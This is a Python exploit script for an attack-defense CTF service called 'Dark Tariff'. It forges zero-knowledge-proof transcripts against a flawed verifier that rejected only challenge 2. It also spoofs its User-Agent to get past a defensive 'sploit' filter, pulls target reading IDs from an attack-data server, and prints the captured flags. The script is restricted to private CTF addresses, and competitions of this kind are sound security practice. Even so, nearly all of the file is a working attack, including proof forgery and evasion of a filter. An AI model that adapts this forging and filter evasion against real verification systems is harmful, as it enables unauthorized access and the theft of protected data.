#!/usr/bin/env python3 """Dark Tariff ZKP exploit for older opponent deployments. The protected service checks the witness in both challenge 0 and challenge 1, but older deployments accepted a forged transcript for those challenges and only rejected challenge 2. This runner uses attack-data reading IDs, avoids the defensive ``sploit`` User-Agent filter, and prints flags on stdout. Use only on the authorized MCTF network. """ from __future__ import annotations import base64 import hashlib import ipaddress import json import random import re import sys from typing import Any import requests ATTACK_DATA_URL = "http://111.88.115.124/attack_data" PORT = 8080 TIMEOUT = 4 MAX_ATTEMPTS = 40 MAX_READINGS = 5 FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=") PERM = list(range(1024)) PERM_TEXT = ",".join(str(item) for item in PERM) def log(message: str) -> None: print(message, file=sys.stderr, flush=True) def bits_to_int(text: str) -> int: value = 0 for position, char in enumerate(text): if char == "1": value |= 1 << position elif char != "0": raise ValueError("invalid bit string") return value def int_to_bits(value: int, width: int) -> str: return "".join("1" if value & (1 << position) else "0" for position in range(width)) def parse_parameters(encoded: str) -> tuple[list[int], int, int, int]: raw = base64.b64decode(encoded, validate=True).decode("utf-8") n_text, matrix_hex, y_text, w_text = raw.split("|", 3) n = int(n_text) y = bits_to_int(y_text) w = int(w_text) row_width = (n + 7) // 8 matrix = bytes.fromhex(matrix_hex) if len(matrix) % row_width: raise ValueError("invalid matrix size") rows: list[int] = [] for offset in range(0, len(matrix), row_width): row = 0 for byte_index, byte in enumerate(matrix[offset : offset + row_width]): for bit_index in range(8): position = byte_index * 8 + bit_index if position < n and byte & (1 << (7 - bit_index)): row |= 1 << position rows.append(row) if not rows or len(y_text) != len(rows): raise ValueError("invalid matrix/vector dimensions") return rows, y, n, w def solve_linear(rows: list[int], rhs: int) -> int: """Find any x with rows*x = rhs over GF(2).""" basis: dict[int, tuple[int, int]] = {} for index, row in enumerate(rows): value = row bit = (rhs >> index) & 1 while value: pivot = (value & -value).bit_length() - 1 previous = basis.get(pivot) if previous is None: basis[pivot] = (value, bit) break value ^= previous[0] bit ^= previous[1] if not value and bit: raise ValueError("inconsistent public ZKP parameters") solution = 0 for pivot in sorted(basis, reverse=True): row, bit = basis[pivot] if bit ^ ((row & solution).bit_count() & 1): solution |= 1 << pivot return solution def matrix_product(rows: list[int], vector: int) -> int: result = 0 for index, row in enumerate(rows): if (row & vector).bit_count() & 1: result |= 1 << index return result def digest(text: str) -> str: return hashlib.sha256(text.encode("ascii")).hexdigest() def request_json(response: requests.Response) -> Any: try: data = response.json() except ValueError: response.raise_for_status() raise RuntimeError(f"non-JSON response ({response.status_code})") if not response.ok: raise RuntimeError(f"HTTP {response.status_code}: {data}") return data def forged_round(rows: list[int], y: int, n: int, delta: int) -> tuple[list[str], dict[int, dict[str, Any]]]: vector0 = random.getrandbits(n) vector1 = vector0 ^ delta width = len(rows) h0 = matrix_product(rows, vector0) h1 = matrix_product(rows, vector1) ^ y if h1 != h0: raise ValueError("failed to solve public linear system") v0_text = int_to_bits(vector0, n) v1_text = int_to_bits(vector1, n) values = [ digest(f"a|{PERM_TEXT}|{int_to_bits(h0, width)}"), digest(f"b|{v0_text}"), digest(f"c|{v1_text}"), ] return values, {0: {"v": v0_text, "p": PERM}, 1: {"v": v1_text, "p": PERM}} def fail_answer(n: int, w: int) -> dict[str, Any]: witness_shape = (1 << min(w, n)) - 1 return {"v": int_to_bits(0, n), "t": int_to_bits(witness_shape, n)} def prove_one(session: requests.Session, base: str, reading_id: int, rows: list[int], y: int, n: int, w: int) -> dict[str, Any] | None: delta = solve_linear(rows, y) for attempt in range(1, MAX_ATTEMPTS + 1): start = request_json(session.post( f"{base}/api/chat/checks", json={"reading_id": reading_id}, timeout=TIMEOUT)) check_id = start["id"] for round_no in range(1, 11): values, answers = forged_round(rows, y, n, delta) committed = request_json(session.post( f"{base}/api/chat/checks/{check_id}/commit", json={"round": round_no, "values": values}, timeout=TIMEOUT)) challenge = int(committed["challenge"]) if challenge == 2: session.post( f"{base}/api/chat/checks/{check_id}/answer", json={"round": round_no, "data": fail_answer(n, w)}, timeout=TIMEOUT) log(f"reading={reading_id} attempt={attempt} challenge=2 retry") break if challenge not in answers: raise RuntimeError(f"unexpected challenge {challenge}") result = request_json(session.post( f"{base}/api/chat/checks/{check_id}/answer", json={"round": round_no, "data": answers[challenge]}, timeout=TIMEOUT)) if result.get("stage") == "failed": log(f"reading={reading_id} round={round_no} challenge={challenge} rejected") break if result.get("stage") == "done": return result else: continue log(f"reading={reading_id} retry={attempt}") raise RuntimeError(f"could not complete ZKP for reading {reading_id}") def attack_records(session: requests.Session, target: str, base: str) -> list[dict[str, Any]]: records: list[dict[str, Any]] = [] try: data = request_json(session.get(ATTACK_DATA_URL, timeout=TIMEOUT)) records = data.get("dark-tariff", {}).get(target, []) except (KeyError, ValueError, RuntimeError, requests.RequestException): log("attack_data unavailable; falling back to public readings") valid: list[dict[str, Any]] = [] for item in records: try: reading_id = int(item["reading_id"]) except (KeyError, TypeError, ValueError): continue response = session.get(f"{base}/api/readings/{reading_id}", timeout=TIMEOUT) if response.ok: valid.append({"reading_id": reading_id}) if valid: return valid[:MAX_READINGS] listing = request_json(session.get(f"{base}/api/readings", timeout=TIMEOUT)) if not isinstance(listing, list): raise RuntimeError("/api/readings did not return a list") return [{"reading_id": int(row["id"])} for row in listing[:MAX_READINGS]] def run(target: str) -> None: address = ipaddress.ip_address(target) if not address.is_private: raise ValueError("target must be a private CTF address") session = requests.Session() session.trust_env = False session.headers["User-Agent"] = "Mozilla/5.0 (wahrwelt-worker)" base = f"http://{address}:{PORT}" records = attack_records(session, str(address), base) if not records: raise RuntimeError("no dark-tariff readings for target") flags: set[str] = set() for item in records: reading_id = int(item["reading_id"]) public = request_json(session.get(f"{base}/api/readings/{reading_id}", timeout=TIMEOUT)) rows, y, n, w = parse_parameters(public["parameters"]) result = prove_one(session, base, reading_id, rows, y, n, w) flags.update(FLAG_RE.findall(json.dumps(result, ensure_ascii=False))) for flag in sorted(flags): print(flag, flush=True) log(f"target={address} readings={len(records)} flags={len(flags)}") def main() -> int: if len(sys.argv) != 2: log(f"usage: {sys.argv[0]} TARGET") return 2 try: run(sys.argv[1]) except (KeyError, ValueError, RuntimeError, requests.RequestException, json.JSONDecodeError) as exc: log(f"target={sys.argv[1]} error={exc}") return 1 return 0 if __name__ == "__main__": raise SystemExit(main())